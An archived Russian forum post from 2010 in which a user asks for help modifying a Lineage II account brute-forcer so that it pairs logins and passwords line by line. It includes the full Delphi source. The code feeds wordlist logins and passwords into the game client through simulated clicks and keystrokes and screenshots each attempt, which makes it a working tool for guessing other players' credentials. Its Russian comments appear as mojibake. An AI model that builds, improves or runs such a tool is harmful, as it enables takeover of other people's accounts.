PDA

Просмотр полной версии : [Помогите!] Хелп!


obey177
29.08.2010, 17:08
Народ помогите плз начал переделывать l2bc13 проблема в том что этот брут берет логин не по списку а как ему вздумаеться а мне бы хотелось что бы он брал допустим лог1 пас 1 лог 2 пас 2 и тд но щяс же он берет любой логин из текстовик и любой пас из другова текстовика и делает со словорями все что ему захочеться....из текстовик и любой пас из другова текстовика и делает со словорями все что ему захочеться....
unit Unit1;

interface

uses
Windows,
Messages,
SysUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
StdCtrls,
ExtCtrls,
Jpeg,
sSkinManager,
sSkinProvider,
sCheckBox,
sEdit,
sLabel,
sGroupBox,
sButton,
sListBox;

type
TForm1 = class(TForm)
Button1 : TsButton;
Edit1 : TsEdit;
Label1 : TsLabel;
Label2 : TsLabel;
Label3 : TsLabel;
Button2 : TsButton;
GroupBox1 : TsGroupBox;
Edit2 : TsEdit;
Label4 : TsLabel;
Edit3 : TsEdit;
Label5 : TsLabel;
Label6 : TsLabel;
CheckBox1 : TsCheckBox;
Edit4 : TsEdit;
Edit5 : TsEdit;
Edit6 : TsEdit;
Edit7 : TsEdit;
Edit8 : TsEdit;
Edit9 : TsEdit;
Edit10 : TsEdit;
Edit11 : TsEdit;
Label7 : TsLabel;
Label8 : TsLabel;
Label9 : TsLabel;
Label10 : TsLabel;
Label11 : TsLabel;
Label12 : TsLabel;
Label13 : TsLabel;
Label14 : TsLabel;
Label15 : TsLabel;
Label16 : TsLabel;
Label17 : TsLabel;
Label18 : TsLabel;
GroupBox2 : TsGroupBox;
Label19 : TsLabel;
CheckBox2 : TsCheckBox;
CheckBox3 : TsCheckBox;
CheckBox4 : TsCheckBox;
sSkinManager1 : TsSkinManager;
sSkinProvider1 : TsSkinProvider;
sGroupBox1 : TsGroupBox;
sLabel1 : TsLabel;
sLabel2 : TsLabel;
sLabel3 : TsLabel;
sCheckBox1 : TsCheckBox;
sGroupBox2 : TsGroupBox;
sListBox1 : TsListBox;
sListBox2 : TsListBox;
sButton1 : TsButton;
sLabelFX1 : TsLabelFX;
sLabelFX2 : TsLabelFX;
Timer1 : TTimer;
Label20: TLabel;
Label21: TLabel;
sEdit1: TsEdit;
sLabel4: TsLabel;
sEdit2: TsEdit;
Label22: TLabel;
sLabel5: TsLabel;
sEdit3: TsEdit;
sEdit4: TsEdit;
sLabel6: TsLabel;

procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormDestroy(Sender: TObject);
procedure sCheckBox1Click(Sender: TObject);
procedure sButton1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);

private
procedure WMHotKey(var Msg : TWMHotKey); message WM_HOTKEY;
public
logins, passwords : TListBox;
z, k, SavedPictures : Integer;
closing : Boolean;
saved_pos : Integer;
end;

type
Stream = class(TThread)
login, password : String;
private
protected
procedure Execute; override;
procedure Save;
end;

var
Form1 : TForm1;
Potok : array[0..255] of Stream;
id_kname : Integer;
time_spend : Integer;
time_rem : Integer;

implementation

{$R *.dfm}


// Ïðîöåäóðêà íàæàòèÿ êëàâèøè (ïîêà íå íóæíà)
{procedure PostKeyboardEvent(KeyKode, State : Integer);
var
Temp : TInput;
begin
Temp.IType := INPUT_KEYBOARD;
Temp.ki.time := 0;
Temp.ki.dwExtraInfo := cardinal(nil);
Temp.ki.wVk := KeyKode and $FF;
Temp.ki.wScan := MapVirtualKey(KeyKode, 0) and $FF;
Temp.ki.dwFlags := STATE;
Sleep(StrToInt(Form1.Edit2.Text));
SendInput(1, Temp, SizeOf(Temp));
Sleep(50);
end;}


procedure TForm1.WMHotKey (var Msg : TWMHotKey);
begin
if Msg.HotKey = id_kname then
begin
closing := true;
Application.Terminate;
end;
end;


// Ïðîöåäóðêà ñíÿòèÿ ñêðèíøîòà àêòèâíîãî îêíà
procedure ScreenShotActiveWindow(Bild: TBitMap);
var
c : TCanvas;
r, t : TRect;
h : THandle;
begin
c := TCanvas.Create;
c.Handle := GetWindowDC(GetDesktopWindow);
h := GetForeGroundWindow;
if h <> 0 then
GetWindowRect(h, t);
try
r := Rect(0, 0, t.Right - t.Left, t.Bottom - t.Top);
Bild.Width := t.Right - t.Left;
Bild.Height := t.Bottom - t.Top;
Bild.Canvas.CopyRect(r, c, t);
finally
ReleaseDC(0, c.Handle);
c.Free;
end;
end;


// Ôóíêöèÿ çàâåðøåíèÿ ðàáîòû êîìïüþòåðà
function MyExitWindows(RebootParam : Longword) : Boolean;
var
TTokenHd : THandle;
TTokenPvg : TTokenPrivileges;
cbtpPrevious : DWORD;
rTTokenPvg : TTokenPrivileges;
pcbtpPreviousRequired : DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd);
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired);
end;
end;
Result := ExitWindowsEx(RebootParam, 0);
end;



// Ñîçäàíèå ôîðìû - ïðîâåðêà âíåøíèõ ôàéëîâ
procedure TForm1.FormCreate(Sender: TObject);
var
saved_pos_memo : TMemo;
begin
Form1.ClientWidth := 300;
id_kname := GlobalAddAtom('Hotkey1');
RegisterHotKey(Form1.Handle, id_kname, 0, 27);
logins := TListBox.Create(self); logins.Parent := self; logins.Visible := false;
passwords := TListBox.Create(self); passwords.Parent := self; passwords.Visible := false;
saved_pos_memo := TMemo.Create(self); saved_pos_memo.Parent := self; saved_pos_memo.Visible := false;
saved_pos := 0;
try
saved_pos_memo.Lines.LoadFromFile('L2 Client Bruteforce - progress.txt');
saved_pos := StrToInt(saved_pos_memo.Lines[0]);
except end; saved_pos_memo.Free;
try
logins.Items.LoadFromFile('logins.txt');
except
begin
ShowMessage('Íå íàéäåí ôàéë logins.txt. Ôàéë ñîçäàí.');
logins.Items.SaveToFile('logins.txt');
Application.Terminate;
end;
end;
try
passwords.Items.LoadFromFile('passwords.txt');
except
begin
ShowMessage('Íå íàéäåí ôàéë passwords.txt. Ôàéë ñîçäàí.');
passwords.Items.SaveToFile('passwords.txt');
Application.Terminate;
end;
end;
if logins.Count = 0 then
begin
ShowMessage('Ôàéë ëîãèíîâ ïóñò');
Application.Terminate;
end;
if passwords.Count = 0 then
begin
ShowMessage('Ôàéë ïàðîëåé ïóñò');
Application.Terminate;
end;
if FindWindow(nil, 'Lineage II') = 0 then
begin
ShowMessage('Êëèåíò èãðû íå çàïóùåí');
Application.Terminate;
end;
z := 0;
SavedPictures := 0;
time_spend := 0;
time_rem := 0;
closing := false;
sListBox1.Items := logins.Items;
sListBox2.Items := passwords.Items;
end;


procedure TForm1.Button1Click(Sender: TObject);
var
x, y, ch : Integer;
isCyr : Boolean;
Layout : array [0..KL_NAMELENGTH] of Char;
begin
// Áëîêèðóåì èçìåíåíèå íàñòðîåê è êíîïêè
GroupBox1.Enabled := false;
Button1.Enabled := false;
Button2.Enabled := false;

k := 0; // Îáíóëÿåì êîëè÷åñòâî ïîòîêîâ

CreateDir('L2_bruteforce_images'); // Ñîçäà¸ì ïàïêó äëÿ ñîõðàí¸ííûõ êàðòèíîê

// Âûñòàâëÿåì îêîøêè íà ýêðàíå
Form1.Left := 630;
Form1.Top := 40;
SetWindowPos(FindWindow(nil, 'Lineage II'), HWND_TOP, 0, 0, 600, 600, SWP_SHOWWINDOW);
Sleep(2000); // Æä¸ì, êîãäà òàì âñ¸ âûñòðîèòñÿ êàê íàäî

GetKeyboardLayoutName(Layout);
if Layout <> '00000409' then
begin
LoadKeyboardLayout('00000409', klf_activate); // Ïåðåêëþ÷àåìñÿ íà àíãëèéñêèé
ActivateKeyboardLayout(LoadKeyboardLayout('0000040 9', 0), 0); // Åù¸ ðàç =)
Sleep(100);
end;

Timer1.Enabled := true;

if CheckBox1.Checked = true then
for x := 0 to logins.Count-1 do

begin
try
while k = 1 do
begin
if closing = true then Break;
Application.ProcessMessages; // Åñëè ïîòîê åù¸ íå îòðàáîòàë, òî æä¸ì.
end;
Application.ProcessMessages;
isCyr := false;
for ch := 1 to length(logins.Items[x]) do
begin
if not (logins.Items[x][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
end;
if isCyr = false then
begin
Potok[k] := Stream.Create(true);
Potok[k].login := logins.Items[x];
Potok[k].password := logins.Items[x];
Potok[k].FreeOnTerminate := True;
Potok[k].Resume;
inc(k);
end else inc(z);
Application.ProcessMessages;
except end;
end
else
for x := 0 to logins.Count-1 do
for y := 0 to passwords.Count-1 do
begin
if closing = true then Break;
try
while k = 1 do
begin
Application.ProcessMessages; // Åñëè ïîòîê åù¸ íå îòðàáîòàë, òî æä¸ì.
end;
Application.ProcessMessages;
isCyr := false;
for ch := 1 to length(logins.Items[x]) do
begin
if not (logins.Items[x][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
end;
for ch := 1 to length(passwords.Items[y]) do
begin
if not (passwords.Items[y][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
end;
if isCyr = false then
begin
Potok[k] := Stream.Create(true);
Potok[k].login := logins.Items[x];
Potok[k].password := passwords.Items[y];
Potok[k].FreeOnTerminate := True;
Potok[k].Resume;
inc(k);
end else inc(z);
Application.ProcessMessages;
except end;
end;

while k = 1 do Application.ProcessMessages; // Æä¸ì, êîãäà íå óìðóò âñå ïîòîêè

Timer1.Enabled := false;
Label2.Caption := 'Òåêóùèé ëîãèí - [çàâåðøåíî]';
Label3.Caption := 'Òåêóùèé ïàðîëü - [çàâåðøåíî]';
Button1.Caption := 'Çàâåðøåíî | Âñåãî: '+IntToStr(z)+' âàðèàíòîâ';

if CheckBox3.Checked = true then
SendMessage(FindWindow(nil, 'Lineage II'), WM_Close, 0, 0); // Çàêðûòü êëèåíò èãðû
if CheckBox2.Checked = true then
Close; // Ñóèöèä
if CheckBox4.Checked = true then
MyExitWindows(EWX_POWEROFF or EWX_FORCE); // Âûêëþ÷èòü êîìïüþòåð

end;


procedure Stream.Execute;
var
pt : TPoint;
i : Integer;
saved_pos_memo : TMemo;
label
too_early;
begin
try
inc(Form1.z);

if Form1.z < Form1.saved_pos then goto too_early;

saved_pos_memo := TMemo.Create(nil); saved_pos_memo.Visible := false;
try
saved_pos_memo.Text := IntToStr(Form1.z);
saved_pos_memo.Lines.SaveToFile('L2 Client Bruteforce - progress.txt');
finally
saved_pos_memo.Free;
end;

// Îòîáðàæàåì ïðîãðåññ â òåêñòîâîì âèäå
Form1.Label2.Caption := 'Òåêóùèé ëîãèí - ' + login;
Form1.Label3.Caption := 'Òåêóùèé ïàðîëü - ' + password;
if Form1.CheckBox1.Checked = false then
Form1.Button1.Caption := 'Òåêóùèé: ' + IntToStr(Form1.z) + ' | Îñòàëîñü: ' + IntToStr(Form1.logins.Count * Form1.passwords.Count - Form1.z) + ' | Âñåãî: ' + IntToStr(Form1.logins.Count * Form1.passwords.Count)
else
Form1.Button1.Caption := 'Òåêóùèé: ' + IntToStr(Form1.z) + ' | Îñòàëîñü: ' + IntToStr(Form1.logins.Count - Form1.z) + ' | Âñåãî: ' + IntToStr(Form1.logins.Count);

GetCursorPos(pt);
SetCursorPos(StrToInt(Form1.Edit11.Text), StrToInt(Form1.Edit4.Text)); // Ñòàâèì êóðñîð íà ïîëå ââîäà ëîãèíà
GetCursorPos(pt);

// Êëèê íà ïîëå ââîäà
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(StrToInt(Form1.Edit3.Text));
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;

for i := 1 to length(login) do
begin
Sleep(StrToInt(Form1.Edit2.Text));
if login[i] in ['A'..'Z'] then
begin
keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0);
keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0);
keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0);
end else begin
keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), 0, 0);
keybd_event(Ord(upcase(login[i])), MapVirtualKey(Ord(upcase(login[i])), 0), KEYEVENTF_KEYUP, 0);
end;
end;

GetCursorPos(pt);
SetCursorPos(StrToInt(Form1.Edit10.Text), StrToInt(Form1.Edit5.Text)); // Ñòàâèì êóðñîð íà ïîëå ââîäà ïàðîëÿ
GetCursorPos(pt);

// Äâîéíîé êëèê íà ïîëå ââîäà
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(StrToInt(Form1.Edit3.Text));
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Sleep(StrToInt(Form1.Edit3.Text));
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(StrToInt(Form1.Edit3.Text));
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;

for i := 1 to length(password) do
begin
Sleep(StrToInt(Form1.Edit2.Text));
if password[i] in ['A'..'Z'] then
begin
keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), 0, 0);
keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0);
keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, MapVirtualKey(VK_SHIFT, 0), KEYEVENTF_KEYUP, 0);
end else begin
keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), 0, 0);
keybd_event(Ord(upcase(password[i])), MapVirtualKey(Ord(upcase(password[i])), 0), KEYEVENTF_KEYUP, 0);
end;
end;

GetCursorPos(pt);
SetCursorPos(StrToInt(Form1.Edit9.Text), StrToInt(Form1.Edit6.Text)); // Ñòàâèì êóðñîð íà êíîïêó âõîäà
GetCursorPos(pt);

// Êëèê íà êíîïêå
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(StrToInt(Form1.Edit3.Text));
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;

Sleep(StrToInt(Form1.Edit1.Text)); // Çàäåðæêà äëÿ ïðîâåðêè àâòîðèçàöèè

Synchronize(Save);

Sleep(100);

GetCursorPos(pt);
SetCursorPos(StrToInt(Form1.Edit8.Text), StrToInt(Form1.Edit7.Text)); // Ñòàâèì êóðñîð íà êíîïêó îòêàçà
GetCursorPos(pt);

Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(StrToInt(Form1.Edit3.Text));
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;


Sleep(StrToInt(Form1.Edit1.Text)); // Çàäåðæêà äëÿ ïðîâåðêè àâòîðèçàöèè

Synchronize(Save);

Sleep(100);

GetCursorPos(pt);
SetCursorPos(StrToInt(Form1.sEdit1.Text), StrToInt(Form1.sEdit2.Text)); // Ñòàâèì êóðñîð íà êíîïêó îòêàçà
GetCursorPos(pt);

Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(StrToInt(Form1.Edit3.Text));
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;


Sleep(StrToInt(Form1.Edit1.Text)); // Çàäåðæêà äëÿ ïðîâåðêè àâòîðèçàöèè

Synchronize(Save);

Sleep(100);

GetCursorPos(pt);
SetCursorPos(StrToInt(Form1.sEdit3.Text), StrToInt(Form1.sEdit4.Text)); // Ñòàâèì êóðñîð íà êíîïêó îòêàçà
GetCursorPos(pt);

Sleep(StrToInt(Form1.Edit1.Text)); // Çàäåðæêà äëÿ ïðîâåðêè àâòîðèçàöèè

Synchronize(Save);

Sleep(100);

// Êëèê íà êíîïêå îòêàçà îò ñîãëàøåíèÿ (åñëè óãàäàëè ïàðîëü)
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, pt.X, pt.Y, 0, 0);
Sleep(StrToInt(Form1.Edit3.Text));
Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, pt.X, pt.Y, 0, 0);
Application.ProcessMessages;

Sleep(100); // Ïîäîæä¸ì. Ìàëî ëè... =)

too_early: // Ñþäà ìû ïåðåõîäèì àâòîìàòîì, åñëè ó íàñ êîëè÷åñòâî âàðèàíòîâ ïîêà ìåíüøå, ÷åì çíà÷åíèå, ñîõðàí¸ííîå â íàñòðîéêàõ. ×åðåç çàäíèöó, áëèí, íî ðàáîòàåò.

Finally
dec(Form1.k);
Terminate;
end;
end;


procedure Stream.Save;
var
jpg : TJpegImage;
BM : TBitmap;
pname : String;
begin
BM := TBitmap.Create;
jpg := TJpegImage.Create;
jpg.CompressionQuality := 50; // ×óäîâèùíîå êà÷åñòâî =)
pname := login+' - '+password+'.jpg'; // Èìÿ äëÿ ñîõðàíÿåìîãî ôàéëà
if FileExists('L2_bruteforce_images\'+pname) then DeleteFile('L2_bruteforce_images\'+pname);
try
ScreenShotActiveWindow(BM); // Äåëàåì ñêðèíøîò
Sleep(100);
jpg.Assign(BM);
jpg.SaveToFile('L2_bruteforce_images\'+pname);
Application.ProcessMessages;
inc(Form1.SavedPictures);
Form1.Label6.Caption := 'Ñîõðàíåíî êàðòèíîê - '+IntToStr(Form1.SavedPictures);
finally
BM.Free;
jpg.free;
end;
end;


procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage('Äëÿ ðàáîòû ïðîãðàììû íåîáõîäèìî:'+#10#13#10#13+
'0. Îáÿçàòåëüíî ïðî÷èòàòü ôàéë Readme.txt'+#10#13+
'1. Ñîçäàòü ôàéë logins.txt è ïîìåñòèòü òóäà ñïèñîê ëîãèíîâ'+#10#13+
'2. Ñîçäàòü ôàéë passwords.txt ñî ñïèñêîì ïàðîëåé'+#10#13+
'3. Çàïóñòèòü êëèåíò èãðû â îêîííîì ðåæèìå'+#10#13+
'4. Íàñòðîèòü ïðîãðàììó, óñòàíîâèòü âðåìÿ çàäåðæåê'+#10#13+
'5. Çàïóñòèòü ïðîãðàììó êíîïêîé "Ñòàðò"'+#10#13+
'6. Åñëè ÷òî-òî íå ïîëó÷àåòñÿ - ñàìè âèíîâàòû, ÿ çäåñü íå ïðè ÷¸ì ;-P'+#10#13#10#13+
'(c) 2009, Ëîìòåâ "Mix" Ìèõàèë, vkontakte.ru/id4444693 | UIN 585154');
end;


// Çàïðîñ çàêðûòèÿ ïðîãðàììû
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
closing := true;
end;


// Äåéñòâèÿ ïðè óíè÷òîæåíèè ôîðìû
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey (Form1.Handle, id_kname);
end;


procedure TForm1.sCheckBox1Click(Sender: TObject);
begin
if sCheckBox1.Checked = true then Form1.ClientWidth := 600 else Form1.ClientWidth := 300;
end;


procedure TForm1.sButton1Click(Sender: TObject);
var
i, ch : Integer;
log_all : Integer;
log_eng : Integer;
pas_all : Integer;
pas_eng : Integer;
iskl : Integer;
time : Integer;
hour : Integer;
mins : Integer;
secs : Integer;
isCyr : Boolean;
begin
log_all := sListBox1.Items.Count;
pas_all := sListBox2.Items.Count;
log_eng := 0;
pas_eng := 0;
for i := 0 to sListBox1.Items.Count-1 do
begin
isCyr := false;
for ch := 1 to length(sListBox1.Items[i]) do
if not (sListBox1.Items[i][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
if isCyr = false then inc(log_eng);
end;
for i := 0 to sListBox2.Items.Count-1 do
begin
isCyr := false;
for ch := 1 to length(sListBox2.Items[i]) do
if not (sListBox2.Items[i][ch] in ['a'..'z', 'A'..'Z', '0'..'9']) then isCyr := true;
if isCyr = false then inc(pas_eng);
end;
iskl := log_all*pas_all - log_eng*pas_eng;
time := log_eng*pas_eng*7;
hour := time div 3600;
mins := (time mod 3600) div 60;
secs := (time mod 3600) mod 60;

ShowMessage('Ñòàòèñòèêà ïî ââåä¸ííûì äàííûì:'+#10#13#10#13+
'Âñåãî ëîãèíîâ: '+ IntToStr(log_all) +#10#13+
'Âñåãî ïàðîëåé: '+ IntToStr(pas_all) +#10#13+
'Íîðìàëüíûõ ëîãèíîâ: '+ IntToStr(log_eng) +#10#13+
'Íîðìàëüíûõ ïàðîëåé: '+ IntToStr(pas_eng) +#10#13+
'Âñåãî âàðèàíòîâ: '+ IntToStr(log_all*pas_all) +#10#13+
'Áóäåò èñêëþ÷åíî âàðèàíòîâ: '+ IntToStr(iskl) +#10#13+
'Áóäåò èñïîëüçîâàíî âàðèàíòîâ: '+ IntToStr(log_eng*pas_eng) +#10#13+
'Ïðèìåðíîå âðåìÿ (ïðè 7 ñåê.): '+ IntToStr(hour) +' ÷. ' + IntToStr(mins) + ' ì. ' + IntToStr(secs) + ' ñ.');
end;


procedure TForm1.Timer1Timer(Sender: TObject);
var
hour, mins, secs : Integer;
hour_r, mins_r, secs_r : Integer;
begin
inc(time_spend);
if Form1.CheckBox1.Checked = false then
time_rem := (logins.Items.Count * passwords.Items.Count - z)*(time_spend div z)
else
time_rem := (logins.Items.Count - z)*(time_spend div z);
hour := time_spend div 3600;
mins := (time_spend mod 3600) div 60;
secs := (time_spend mod 3600) mod 60;
hour_r := time_rem div 3600;
mins_r := (time_rem mod 3600) div 60;
secs_r := (time_rem mod 3600) mod 60;
sLabel1.Caption := 'Îñòàëîñü âðåìåíè - ' + IntToStr(hour_r) +' ÷. ' + IntToStr(mins_r) + ' ì. ' + IntToStr(secs_r) + ' ñ.';
sLabel2.Caption := 'Ïðîøëî âðåìåíè - ' + IntToStr(hour) +' ÷. ' + IntToStr(mins) + ' ì. ' + IntToStr(secs) + ' ñ.';
sLabel3.Caption := 'Òåêóùàÿ ñêîðîñòü - ' + IntToStr((3600 * z) div time_spend) + ' âàð./÷àñ';
end;


end.